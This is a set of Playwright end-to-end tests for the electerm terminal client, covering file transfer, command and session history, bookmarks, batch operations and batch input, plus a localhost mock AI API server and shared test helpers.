const trzszTestFileName = `trzsz-upload-${timestamp}.txt`
const rzszUploadFileName = `rzsz-upload-${timestamp}.txt`
const trzszLocalFile = path.join(os.tmpdir(), trzszTestFileName)
const rzszLocalFile = path.join(os.tmpdir(), rzszUploadFileName)
const trzszSaveDir = path.join(os.tmpdir(), `trzsz-save-${timestamp}`)
const rzszSaveDir = path.join(os.tmpdir(), `rzsz-save-${timestamp}`)
// Create local files used for uploads
fs.writeFileSync(trzszLocalFile, `electerm trzsz test ${timestamp}`)
fs.writeFileSync(rzszLocalFile, `electerm rzsz test ${timestamp}`)
fs.mkdirSync(trzszSaveDir, { recursive: true })
fs.mkdirSync(rzszSaveDir, { recursive: true })
log(`020: local test files created: ${trzszLocalFile}, ${rzszLocalFile}`)
// ── trz ────────────────────────────────────────────────────────────────────
await testTrz(client, trzszLocalFile)
await delay(2000)
// ── tsz ────────────────────────────────────────────────────────────────────
// Download the file that was just uploaded via trz
const trzszRemoteFile = `~/${trzszTestFileName}`
await testTsz(client, trzszRemoteFile, trzszSaveDir)
await delay(2000)
// Create a remote-only file for sz to download (distinct from any upload)
const rzszRemoteName = `rzsz-download-${timestamp}.txt`
const rzszRemoteFile = `~/${rzszRemoteName}`
await runInTerminal(client, `echo "rzsz download test ${timestamp}" > ${rzszRemoteFile}`)
await delay(1500)
// ── rz ────────────────────────────────────────────────────────────────────
// Upload a *different* file from a fresh local path so the remote does not
// already have it (lrzsz crashes when it tries to skip an existing file).
await testRz(client, rzszLocalFile)
await delay(2000)
// ── sz ────────────────────────────────────────────────────────────────────
await testSz(client, rzszRemoteFile, rzszSaveDir)
await delay(2000)
// Cleanup local temp files
try { fs.unlinkSync(trzszLocalFile) } catch (_) {}
try { fs.unlinkSync(rzszLocalFile) } catch (_) {}
await closeApp(electronApp, __filename)
log('020: all transfer tests passed')
})
})
@@ -0,0 +1,53 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const e = require('./common/lang')
const extendClient = require('./common/client-extend')
describe('bookmark groups', function () {
it('all buttons open proper bookmark tab', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('button:edit')
await client.click('.btns .anticon-plus-circle')
await delay(2500)
const sel = '.setting-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
await client.hasElem(sel)
const text = await client.getText(sel)
expect(text).equal(e('bookmarks'))
log('click add category button')
await client.click('.setting-wrap .anticon-folder.with-plus')
const id = 'u567'
await client.setValue('.setting-wrap .item-list-wrap input.ant-input', id)
log('save it')
const bookmarkGroupsCountPrev = await client.evaluate(() => {
return window.store.bookmarkGroups.length
})
await delay(200)
await client.click('.setting-wrap .ant-input-suffix .anticon-check')
await delay(1200)
const bookmarkGroupsCount = await client.evaluate(() => {
return window.store.bookmarkGroups.length
})
expect(bookmarkGroupsCountPrev + 1).equal(bookmarkGroupsCount)
await client.evaluate(() => {
return window.store.setBookmarkGroups(
window.store.bookmarkGroups.filter(d => d !== 'u567')
)
})
await electronApp.close().catch(console.log)
})
})
+184
View File
@@ -0,0 +1,184 @@
/**
* Terminal command-history test
*
* Verifies:
* 1. Running a command in a local terminal adds it to cmd history.
* 2. Clicking the history item re-runs the command.
* 3. Deleting a history item removes it from the list.
* 4. History persists across app restarts.
*/
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const { closeApp } = require('./common/common')
// ─── helpers ──────────────────────────────────────────────────────────────────
/** Open the command-history popover in the footer.
* Closes any currently-open popover first so we get a clean open. */
async function openHistoryPopover (client) {
// Click outside any popover to ensure it is closed before reopening
await client.click('.session-current .term-wrap')
await delay(400)
await client.click('.terminal-footer-history .ant-btn')
await delay(800)
}
/** Close the popover by clicking outside of it. */
async function closeHistoryPopover (client) {
await client.click('.session-current .term-wrap')
await delay(400)
}
/**
* Return the text of all visible command-history items.
* The popover must already be open.
*/
async function getHistoryItems (client) {
const items = await client.locator('.cmd-history-item .cmd-history-item-text')
const count = await items.count()
const texts = []
for (let i = 0; i < count; i++) {
texts.push(await items.nth(i).innerText())
}
return texts
}
/**
* Hover over a history item whose text includes `term` to reveal action buttons,
* then click the delete button. The popover must already be open.
*/
async function deleteHistoryItem (client, term) {
const items = client.locator('.cmd-history-item')
const count = await items.count()
for (let i = 0; i < count; i++) {
const txt = await items.nth(i).locator('.cmd-history-item-text').innerText()
if (txt.includes(term)) {
await items.nth(i).hover()
await delay(400)
await items.nth(i).locator('.cmd-history-item-delete').click()
await delay(600)
return
}
}
throw new Error(`History item matching "${term}" not found in popover`)
}
/** Return the cmd strings currently in window.store.terminalCommandHistory. */
async function getStoredHistory (client) {
return client.evaluate(() =>
window.store.terminalCommandHistory.map(i => i.cmd)
)
}
/** Type a command in the terminal and press Enter. */
async function runInTerminal (client, cmd) {
await client.click('.session-current .term-wrap')
await delay(1000)
await client.keyboard.type(cmd)
await delay(300)
await client.keyboard.press('Enter')
await delay(1500)
}
// ─── test ─────────────────────────────────────────────────────────────────────
describe('cmd-history', function () {
it('should add, re-run, delete commands and persist across restarts', async function () {
// ── first session ──────────────────────────────────────────────────────────
let electronApp = await electron.launch(appOptions)
let client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(13000)
log('021: app launched (session 1)')
const ts = Date.now()
// Use simple commands without quotes to avoid shell-escaping issues
const cmd1 = `echo cmd-history-test-${ts}`
const cmd2 = `echo cmd-history-persist-${ts}`
// Clear existing history so our unique commands are easy to find
await client.evaluate(() => window.store.clearAllCmdHistory())
await delay(300)
// ── step 1: run cmd1 in terminal → should appear in history ───────────────
await runInTerminal(client, cmd1)
log(`021: ran "${cmd1}" in terminal`)
// Verify via store (ground truth)
const stored1 = await getStoredHistory(client)
log(`021: stored history: ${JSON.stringify(stored1)}`)
expect(stored1.includes(cmd1)).equal(true)
// Verify via UI popover
await openHistoryPopover(client)
const items1 = await getHistoryItems(client)
log(`021: history popover items: ${JSON.stringify(items1)}`)
expect(items1.some(t => t.trim() === cmd1 || t.includes(`cmd-history-test-${ts}`))).equal(true)
// ── step 2: click the item to re-run the command ──────────────────────────
const allItems = client.locator('.cmd-history-item')
const count = await allItems.count()
let clicked = false
for (let i = 0; i < count; i++) {
const txt = await allItems.nth(i).locator('.cmd-history-item-text').innerText()
if (txt.includes(`cmd-history-test-${ts}`)) {
await allItems.nth(i).locator('.cmd-history-item-text').click()
clicked = true
break
}
}
expect(clicked).equal(true)
await delay(2000)
log('021: clicked history item to re-run')
// count in store should have updated (command was re-run)
const stored2 = await getStoredHistory(client)
expect(stored2.includes(cmd1)).equal(true)
// ── step 3: delete the item ────────────────────────────────────────────────
// Reopen popover (clicking the item might or might not have closed it; use
// the helper which first clicks outside to normalise state)
await openHistoryPopover(client)
await deleteHistoryItem(client, `cmd-history-test-${ts}`)
const storedAfterDel = await getStoredHistory(client)
log(`021: history after delete: ${JSON.stringify(storedAfterDel)}`)
expect(storedAfterDel.includes(cmd1)).equal(false)
await closeHistoryPopover(client)
// ── step 4: run cmd2 that should persist after restart ────────────────────
await runInTerminal(client, cmd2)
await delay(2000) // allow store + db flush
log(`021: ran "${cmd2}" in terminal`)
await closeApp(electronApp, __filename)
log('021: session 1 closed')
// ── second session (restart) ───────────────────────────────────────────────
await delay(2000)
electronApp = await electron.launch(appOptions)
client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(13000)
log('021: app launched (session 2 restart)')
// cmd2 must still be in history
const storedRestart = await getStoredHistory(client)
log(`021: history after restart: ${JSON.stringify(storedRestart)}`)
expect(storedRestart.includes(cmd2)).equal(true)
// cmd1 must NOT be in history (was deleted before restart)
expect(storedRestart.includes(cmd1)).equal(false)
await closeApp(electronApp, __filename)
log('021: all cmd-history tests passed')
})
})
+206
View File
@@ -0,0 +1,206 @@
/**
* Session (connection) history test
*
* Verifies:
* 1. Opening a new SSH session adds it to the sidebar history panel.
* 2. Clicking a history item opens a new session tab.
* 3. Deleting a history item removes it from the list.
* 4. Clicking the bookmark icon on a history item creates a bookmark.
* 5. History persists across app restarts.
* 6. "Sort by frequency" re-orders the history list.
*/
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const { setupSshConnection, closeApp } = require('./common/common')
// ─── helpers ──────────────────────────────────────────────────────────────────
/** Open the sidebar and switch to the "history" tab. */
async function openSidebarHistory (client) {
await client.evaluate(() => {
window.store.setOpenedSideBar('bookmarks')
window.store.handleSidebarPanelTab('history')
})
await delay(600)
}
/** Close the sidebar. */
async function closeSidebar (client) {
await client.evaluate(() => window.store.setOpenedSideBar(''))
await delay(300)
}
/** Return the raw history array from the store. */
async function getHistoryStore (client) {
return client.evaluate(() =>
window.store.history.map(h => ({ id: h.id, count: h.count, host: h.tab && h.tab.host }))
)
}
/** Return the number of visible history items in the sidebar. */
async function getHistoryItemCount (client) {
return client.locator('.sidebar-panel-history .item-list-unit').count()
}
/** Return the current tab count. */
async function getTabCount (client) {
return client.locator('.tabs .tabs-wrapper .tab').count()
}
// ─── test ─────────────────────────────────────────────────────────────────────
describe('session-history', function () {
it('should track, open, delete, bookmark history, persist and sort by frequency', async function () {
// ── first session ──────────────────────────────────────────────────────────
let electronApp = await electron.launch(appOptions)
let client = await electronApp.firstWindow()
extendClient(client, electronApp)
// Wait until initData has completed AND the history watcher is active
await client.waitForFunction(() => {
return window.store &&
window.store.configLoaded === true &&
!!window.watchhistory
}, { timeout: 15000 })
await delay(500) // small buffer after watcher starts
log('022: app launched (session 1)')
// Clear existing connection history
await client.evaluate(() => { window.store.history.splice(0, window.store.history.length) })
await delay(500) // allow watcher to flush removes to DB
// ── step 1: open SSH session → history entry created ──────────────────────
await setupSshConnection(client)
await delay(4000)
log('022: SSH connected')
// Add a synthetic second entry so the delete step (step 5) leaves one entry
// for the persistence check (step 7). Uses unshift so it becomes index 0.
await client.evaluate(() => {
window.store.history.unshift({
id: 'synth-' + Date.now(),
count: 5,
time: Date.now() - 5000,
tab: { host: '10.0.0.1', type: 'ssh', username: 'synthuser', port: 22 }
})
})
await delay(800) // let watcher persist the synthetic entry
const history1 = await getHistoryStore(client)
log(`022: history after SSH connect: ${JSON.stringify(history1)}`)
expect(history1.length).greaterThan(0)
// ── step 2: open sidebar history → item visible ────────────────────────────
await openSidebarHistory(client)
const historyCount1 = await getHistoryItemCount(client)
log(`022: sidebar history item count: ${historyCount1}`)
expect(historyCount1).greaterThan(0)
// ── step 3: click history item → new tab opens ────────────────────────────
const tabsBefore = await getTabCount(client)
await client.click('.sidebar-panel-history .item-list-unit', 0)
await delay(3000)
const tabsAfter = await getTabCount(client)
log(`022: tabs before=${tabsBefore} after=${tabsAfter}`)
expect(tabsAfter).greaterThan(tabsBefore)
// ── step 4: bookmark icon → creates a bookmark ────────────────────────────
await openSidebarHistory(client)
const bookmarksBefore = await client.evaluate(() => window.store.bookmarks.length)
// Hover first item to reveal the hidden bookmark icon, then click it
const firstHistoryItem = client.locator('.sidebar-panel-history .item-list-unit').first()
await firstHistoryItem.hover()
await delay(200)
await firstHistoryItem.locator('.list-item-bookmark').click()
await delay(800)
log('022: clicked bookmark icon on history item')
// A modal should appear confirm it (custom modal uses .custom-modal-footer-buttons)
const confirmBtn = client.locator('.custom-modal-footer-buttons .ant-btn-primary')
await confirmBtn.waitFor({ state: 'visible', timeout: 8000 })
await confirmBtn.click()
await delay(1000)
log('022: confirmed bookmark creation')
const bookmarksAfter = await client.evaluate(() => window.store.bookmarks.length)
log(`022: bookmarks before=${bookmarksBefore} after=${bookmarksAfter}`)
expect(bookmarksAfter).greaterThan(bookmarksBefore)
// ── step 5: delete a history item ─────────────────────────────────────────
await openSidebarHistory(client)
const countBefore = await getHistoryItemCount(client)
const firstHistoryItem2 = client.locator('.sidebar-panel-history .item-list-unit').first()
await firstHistoryItem2.hover()
await delay(200)
await firstHistoryItem2.locator('.list-item-edit').click()
await delay(800)
const countAfter = await getHistoryItemCount(client)
log(`022: sidebar history count before=${countBefore} after=${countAfter}`)
expect(countAfter).equal(countBefore - 1)
// ── step 6: sort by frequency ─────────────────────────────────────────────
await closeSidebar(client)
await openSidebarHistory(client)
// Toggle "sort by frequency" switch
const switchSel = '.sidebar-panel-history .history-header .ant-switch'
const sortEnabled1 = await client.evaluate(() => {
// Read localStorage key used by history.jsx
const v = window.localStorage.getItem('electerm-history-sort-by-frequency')
return v === 'true'
})
await client.locator(switchSel).click({ force: true })
await delay(500)
const sortEnabled2 = await client.evaluate(() => {
const v = window.localStorage.getItem('electerm-history-sort-by-frequency')
return v === 'true'
})
log(`022: sort-by-freq toggled: ${sortEnabled1}${sortEnabled2}`)
expect(sortEnabled2).equal(!sortEnabled1)
// Toggle back
await client.locator(switchSel).click({ force: true })
await delay(300)
// ── step 7: close & reopen (persistence check) ────────────────────────────
const historyBeforeClose = await getHistoryStore(client)
await closeSidebar(client)
await delay(2000) // ensure DB flushes before close
await closeApp(electronApp, __filename)
log('022: session 1 closed')
await delay(2000)
electronApp = await electron.launch(appOptions)
client = await electronApp.firstWindow()
extendClient(client, electronApp)
await client.waitForFunction(() => {
return window.store &&
window.store.configLoaded === true &&
!!window.watchhistory
}, { timeout: 15000 })
await delay(300)
log('022: app launched (session 2 restart)')
const historyAfterRestart = await getHistoryStore(client)
log(`022: history after restart: ${JSON.stringify(historyAfterRestart)}`)
// At least the remaining entry should be there
expect(historyAfterRestart.length).greaterThan(0)
// All IDs present before close must still be there (minus the deleted one)
for (const h of historyAfterRestart) {
const found = historyBeforeClose.some(p => p.id === h.id)
expect(found).equal(true)
}
await closeApp(electronApp, __filename)
log('022: all session-history tests passed')
})
})
+176
View File
@@ -0,0 +1,176 @@
/**
* Batch Operation e2e test
*
* Verifies:
* 1. Widgets panel opens with the Batch Operation widget
* 2. Editor is displayed with "Execute Workflow" button
* 3. Load Template populates the editor
* 4. Executing the full example workflow (connect + command + sftp_download +
* sftp_upload + cleanup) shows progress in the log div
* 5. Log entries appear for each step (success / error)
*/
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const batchOpExample = require('./common/batch-op-example')
// ─── helpers ──────────────────────────────────────────────────────────────────
/** Open the Widgets settings panel via the store API */
async function openWidgetsPanel (client) {
await client.evaluate(() => window.store.openWidgetsModal())
await delay(800)
}
/** Click the first widget whose list-item title contains `name` */
async function clickWidgetByName (client, name) {
const item = client.locator(`.item-list-unit .list-item-title:has-text("${name}")`)
await item.first().click()
await delay(500)
}
/** Return the current text content of the batch-op log div */
async function getLogText (client) {
const el = client.locator('.batch-op-logs')
const count = await el.count()
if (count === 0) return ''
return el.first().innerText()
}
/** Inject workflow JSON into the editor textarea via React synthetic event */
async function setWorkflow (client, workflow) {
await client.evaluate((json) => {
const ta = document.querySelector('.batch-op-editor textarea')
if (ta) {
const nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype, 'value').set
nativeInputValueSetter.call(ta, json)
ta.dispatchEvent(new Event('input', { bubbles: true }))
}
}, JSON.stringify(workflow, null, 2))
await delay(400)
}
// ─── tests ────────────────────────────────────────────────────────────────────
describe('batch-op', function () {
it('should run full example workflow and show log entries for every step', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await client.waitForFunction(() => window.store && window.store.configLoaded === true, { timeout: 15000 })
await delay(500)
log('023-batch-op: app launched')
// ── open widgets panel ─────────────────────────────────────────────────
await openWidgetsPanel(client)
log('023-batch-op: widgets panel opened')
// ── click the Batch Operation widget ──────────────────────────────────
await clickWidgetByName(client, 'Batch Operation')
await delay(600)
log('023-batch-op: Batch Operation widget selected')
// Editor and Execute button should be visible
const editorVisible = await client.locator('.batch-op-editor').count()
expect(editorVisible).greaterThan(0)
const execBtn = client.locator('button:has-text("Execute Workflow")')
expect(await execBtn.count()).greaterThan(0)
log('023-batch-op: editor and execute button visible')
// ── Load Template and verify editor populated ──────────────────────────
await client.click('button:has-text("Load Template")')
await delay(400)
const editorVal = await client.evaluate(() => {
const ta = document.querySelector('.batch-op-editor textarea')
return ta ? ta.value : ''
})
expect(editorVal.length).greaterThan(10)
log('023-batch-op: template loaded into editor')
// ── set the full example workflow (connect + commands + sftp) ──────────
await setWorkflow(client, batchOpExample)
log('023-batch-op: example workflow JSON set')
// ── execute workflow ───────────────────────────────────────────────────
await execBtn.first().click()
log('023-batch-op: execute clicked, waiting for all steps...')
// Wait until all steps complete (log div has success/error entries)
// Workflow has 7 steps; allow up to 3 minutes for sftp transfers
await client.waitForFunction(() => {
const entries = document.querySelectorAll('.batch-op-log-entry')
return entries.length >= 7
}, { timeout: 180000 })
await delay(1000)
const logText = await getLogText(client)
log(`023-batch-op: log content:\n${logText}`)
// Every step should have a success entry
const successCount = await client.locator('.batch-op-log-entry.success').count()
expect(successCount).greaterThan(0)
log(`023-batch-op: ${successCount} success log entries found`)
// There should be no error entries
const errorCount = await client.locator('.batch-op-log-entry.error').count()
expect(errorCount).equal(0)
log('023-batch-op: no error entries — all steps passed')
await electronApp.close().catch(console.log)
})
it('should show error log entry when a step fails', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await client.waitForFunction(() => window.store && window.store.configLoaded === true, { timeout: 15000 })
await delay(500)
await openWidgetsPanel(client)
await clickWidgetByName(client, 'Batch Operation')
await delay(600)
// Use a bad host so the connect step fails immediately
const workflow = [
{
name: 'Bad Connect',
action: 'connect',
params: {
host: '192.0.2.1', // TEST-NET guaranteed unreachable
port: 22,
username: 'nobody',
authType: 'password',
password: 'wrong'
}
}
]
await setWorkflow(client, workflow)
const execBtn = client.locator('button:has-text("Execute Workflow")')
await execBtn.first().click()
log('023-batch-op: error-test execute clicked')
// Wait for an error entry (up to ~35 s for connection timeout)
await client.waitForFunction(() => {
const entries = document.querySelectorAll('.batch-op-log-entry.error')
return entries.length > 0
}, { timeout: 35000 })
const errorCount = await client.locator('.batch-op-log-entry.error').count()
expect(errorCount).greaterThan(0)
log(`023-batch-op: ${errorCount} error log entries found`)
await electronApp.close().catch(console.log)
})
})
+72
View File
@@ -0,0 +1,72 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it,
expect
} = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { getTerminalContent } = require('./common/basic-terminal-test')
describe('batch input', function () {
it('should execute ls command in selected tabs', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
// Wait for app to load
await delay(3500)
// Create a new tab first so we have 2 tabs
await client.click('.tabs .tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(1500)
// Get initial tab count
const tabsCount = await client.countElem('.tabs .tab')
expect(tabsCount).toEqual(2)
const text1 = await getTerminalContent(client)
// Switch to second tab
// await client.click('.tabs .tab', 0)
// await delay(1000)
const text2 = text1
// Enter command in batch input
await client.click('.batch-input-holder')
await delay(1500)
// Enter ls command
await client.setValue('.terminal-footer-flex .bi-full .ant-input', 'ls')
await delay(1500)
await client.keyboard.press('Enter')
await delay(1000)
// Check first tab output
await client.click('.tabs .tab', 0)
await delay(1000)
const newText1 = await getTerminalContent(client)
// Check second tab output
await client.click('.tabs .tab', 1)
await delay(1000)
const newText2 = await getTerminalContent(client)
// Verify command output in both terminals
expect(newText1.length === text1.length).toEqual(true)
expect(newText2.length).toBeGreaterThan(text2.length)
// Check that ls command history is saved
const batchHistory = await client.evaluate(() => {
return window.store.batchInputs
})
expect(batchHistory).toContain('ls')
await electronApp.close().catch(console.log)
})
})
+147
View File
@@ -0,0 +1,147 @@
const express = require('express')
const app = express()
const port = 43434
// Middleware for JSON parsing
app.use(express.json())
// Middleware to check Bearer token
app.use((req, res, next) => {
const authHeader = req.headers.authorization
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Missing or invalid authorization header' })
}
next()
})
// Helper function to extract user input from message
function extractUserInput (message) {
const match = message.match(/user input: "([^"]*)"/)
return match ? match[1] : ''
}
// Generate 5 fake commands that start with user input
function generateTestCommands (userInput) {
return [
`${userInput}-test-command-1`,
`${userInput}-test-command-2`,
`${userInput}-test-command-3`,
`${userInput}-test-command-4`,
`${userInput}-test-command-5`
]
}
// Generate a test bookmark based on description
function generateTestBookmark (description) {
return {
title: 'Test Server',
host: 'test.example.com',
port: 22,
username: 'testuser',
type: 'ssh',
description
}
}
// Chat completions endpoint
app.post('/chat/completions', (req, res) => {
const { messages, stream } = req.body
const lastMessage = messages[messages.length - 1].content
if (lastMessage.includes('give me max 5 command suggestions for user input')) {
const userInput = extractUserInput(lastMessage)
const mockSuggestions = generateTestCommands(userInput)
// Command suggestions are always non-streaming
res.json({
choices: [{
message: {
content: JSON.stringify(mockSuggestions)
}
}]
})
} else if (lastMessage.includes('Generate the bookmark JSON')) {
const bookmarkData = generateTestBookmark(lastMessage)
res.json({
choices: [{
message: {
content: JSON.stringify(bookmarkData, null, 2)
}
}]
})
} else if (stream) {
// Handle streaming response
res.writeHead(200, {
'Content-Type': 'text/plain',
'Transfer-Encoding': 'chunked'
})
const mockResponse = '# Response to your query\n\n' +
'Here is a sample response with different markdown elements:\n\n' +
'## Code Example\n' +
'```javascript\n' +
'console.log("Hello World!");\n' +
'```\n\n' +
'## List Example\n' +
'- Item 1\n' +
'- Item 2\n' +
'- Item 3\n\n' +
'## Text Formatting\n' +
'**Bold text** and *italic text*\n\n' +
'> This is a blockquote\n\n' +
'[This is a link](https://example.com)'
// Split response into chunks and send as streaming data
const chunks = mockResponse.split(' ')
let index = 0
const sendChunk = () => {
if (index < chunks.length) {
const content = chunks[index] + (index < chunks.length - 1 ? ' ' : '')
const streamData = {
choices: [{
delta: {
content
}
}]
}
res.write(`data: ${JSON.stringify(streamData)}\n\n`)
index++
setTimeout(sendChunk, 50) // Simulate streaming delay
} else {
res.write('data: [DONE]\n\n')
res.end()
}
}
sendChunk()
} else {
// Handle non-streaming response
const mockResponse = '# Response to your query\n\n' +
'Here is a sample response with different markdown elements:\n\n' +
'## Code Example\n' +
'```javascript\n' +
'console.log("Hello World!");\n' +
'```\n\n' +
'## List Example\n' +
'- Item 1\n' +
'- Item 2\n' +
'- Item 3\n\n' +
'## Text Formatting\n' +
'**Bold text** and *italic text*\n\n' +
'> This is a blockquote\n\n' +
'[This is a link](https://example.com)'
res.json({
choices: [{
message: {
content: mockResponse
}
}]
})
}
})
app.listen(port, '127.0.0.1', () => {
console.log(`Mock AI API server running at http://127.0.0.1:${port}`)
})
+14
View File
@@ -0,0 +1,14 @@
const { resolve } = require('path')
const cwd = process.cwd()
module.exports = {
env: {
...process.env,
NODE_TEST: 'yes'
},
args: [
resolve(cwd, 'work/app'),
'--disable-gpu',
'--disable-dev-shm-usage'
]
}
+42
View File
@@ -0,0 +1,42 @@
const delay = require('./wait')
const { expect } = require('./expect')
exports.basicTerminalTest = async (client, cmd) => {
async function focus () {
client.click('.session-current .term-wrap')
}
async function selectAll () {
await client.keyboard.press('Meta+A')
await delay(401)
}
async function copy () {
await selectAll()
await client.keyboard.press('Meta+C')
await delay(401)
}
await copy()
const text1 = await client.readClipboard()
await delay(301)
await focus()
await delay(1010)
await client.keyboard.type(cmd)
await client.keyboard.press('Enter')
await delay(1011)
await copy()
await delay(101)
const text2 = await client.readClipboard()
expect(text1.trim().length).lessThan(text2.trim().length)
}
exports.getTerminalContent = async function (client) {
await client.click('.session-current .term-wrap')
await delay(300)
await client.keyboard.press('Meta+A')
await delay(300)
await client.keyboard.press('Meta+C')
await delay(300)
const clipboardText = await client.readClipboard()
await client.keyboard.press('Escape')
await delay(300)
return clipboardText
}
+77
View File
@@ -0,0 +1,77 @@
/**
* Standard batch-op example workflow for e2e tests.
* Covers: connect, command (create file + log), sftp_download,
* sftp_upload, command (verify + cleanup).
*/
const {
TEST_HOST,
TEST_PORT,
TEST_USER,
TEST_PASS
} = require('./env')
module.exports = [
{
name: 'Connect SSH',
action: 'connect',
params: {
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
authType: 'password',
password: TEST_PASS,
enableSftp: true
}
},
{
name: 'Create 5M Test File',
action: 'command',
prevDelay: 500,
afterDelay: 500,
command: "fallocate -l 5M /tmp/test_5m_file.bin && rm -f /tmp/test_log.log && echo '[LOG] Created 5M test file at $(date)' >> /tmp/test_log.log"
},
{
name: 'Log creation',
action: 'command',
afterDelay: 200,
command: "ls -la /tmp/test_5m_file.bin >> /tmp/test_log.log 2>&1 && echo '[LOG] File size logged at $(date)' >> /tmp/test_log.log"
},
{
name: 'Download 5M File',
action: 'sftp_download',
afterDelay: 200,
remotePath: '/tmp/test_5m_file.bin',
localPath: '/tmp/test_5m_file.bin'
},
{
name: 'Log after download',
action: 'command',
afterDelay: 200,
command: "echo '[LOG] Download complete at $(date)' >> /tmp/test_log.log"
},
{
name: 'Delete Remote 5M File',
action: 'command',
afterDelay: 200,
command: "rm /tmp/test_5m_file.bin && echo '[LOG] Deleted remote 5M file at $(date)' >> /tmp/test_log.log"
},
{
name: 'Upload Downloaded File to Remote',
action: 'sftp_upload',
afterDelay: 200,
localPath: '/tmp/test_5m_file.bin',
remotePath: '/tmp/test_5m_file_uploaded.bin'
},
{
name: 'Log after upload',
action: 'command',
afterDelay: 200,
command: "echo '[LOG] Upload complete at $(date)' >> /tmp/test_log.log"
},
{
name: 'Verify and clean up',
action: 'command',
command: "ls -la /tmp/test_5m_file_uploaded.bin >> /tmp/test_log.log 2>&1 && rm -f /tmp/test_5m_file*.bin && echo '[LOG] Cleaned up at $(date)' >> /tmp/test_log.log"
}
]
+101
View File
@@ -0,0 +1,101 @@
/**
* extend client functions
*/
const {
expect
} = require('@playwright/test')
const delay = require('./wait')
module.exports = (client, app) => {
client.element = (sel) => {
return client.locator(sel).nth(0)
}
client.elements = (selector) => {
return client.locator(selector)
}
client.click = async (sel, n = 0, parent) => {
const sl = sel + ` >> nth=${n}`
let s = client.locator(sl)
if (parent) {
s = s.locator('..')
}
await s.waitFor({ state: 'visible', timeout: 10000 })
await s.click()
}
client.elemExist = async (sel) => {
try {
await client.locator(sel).waitFor({ timeout: 100 })
return true
} catch (error) {
return false
}
}
client.hasElem = async (sel, target = true) => {
const s = client.locator(sel)
const c = await s.count()
expect(!!c).toEqual(target)
}
client.countElem = async (sel) => {
const s = client.locator(sel)
const c = await s.count()
return c
}
client.hasFocus = async (sel) => {
const s = await client.locator(sel).nth(0)
expect(s).toBeFocused()
}
client.getValue = async (sel) => {
const s = await client.locator(sel)
return s.inputValue()
}
client.getText = async (sel) => {
const s = await client.locator(sel).nth(0)
return s.innerText()
}
client.setValue = async (sel, v) => {
const s = client.locator(sel).first()
return s.fill(v)
}
client.getAttribute = async (sel, name) => {
const element = await client.locator(sel).nth(0)
return element.getAttribute(name)
}
client.rightClick = async function (sel, x, y) {
const s = client.locator(sel).first()
await s.waitFor({ state: 'visible', timeout: 10000 })
await s.click({
button: 'right',
position: {
x,
y
}
})
}
client.doubleClick = async function (sel, n = 0) {
const sl = sel + `>> nth=${n}`
const s = client.locator(sl).first()
await s.waitFor({ state: 'visible', timeout: 10000 })
await s.dblclick()
}
client.readClipboard = async () => {
return app.evaluate(async ({ clipboard }) => clipboard.readText())
}
client.writeClipboard = async (clipboardContentToWrite) => {
await app.evaluate(async ({ clipboard }, text) => {
await clipboard.writeText(text)
}, clipboardContentToWrite)
}
client.getAttribute = async (sel, name) => {
return client.$eval(sel, (e, name) => {
return e.getAttribute(name)
}, name)
}
client.hover = async (sel) => {
const element = await client.locator(sel).nth(0)
await element.hover()
await delay(400)
}
return client
}
+465
View File
@@ -0,0 +1,465 @@
const delay = require('./wait')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('./env')
const {
expect
} = require('./expect')
const log = require('./log')
/**
* Common file and folder operations for electerm SFTP tests
*/
/**
* Creates a new file in the specified type of file list (local/remote)
* Always uses the parent-file-item which is guaranteed to be present
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} fileName - The name of the file to create
*/
async function createFile (client, type, fileName) {
// Always use the parent-file-item for right-click context menu
await client.rightClick(`.session-current .file-list.${type} .parent-file-item`, 10, 10)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("New File")')
await delay(400)
await client.setValue('.session-current .sftp-item input', fileName)
await client.click('.session-current .sftp-panel-title')
await delay(3500) // Ensure file creation completes
}
/**
* Creates a new folder in the specified type of file list (local/remote)
* Always uses the parent-file-item which is guaranteed to be present
*
* @param {Object} client - The Playwright client
* @param {string} type - The type of file list ('local' or 'remote')
* @param {string} folderName - The name of the folder to create
*/
async function createFolder (client, type, folderName) {
await delay(500)
// Always use the parent-file-item for right-click context menu
await client.rightClick(`.session-current .file-list.${type} .parent-file-item`, 10, 10)
await delay(500)
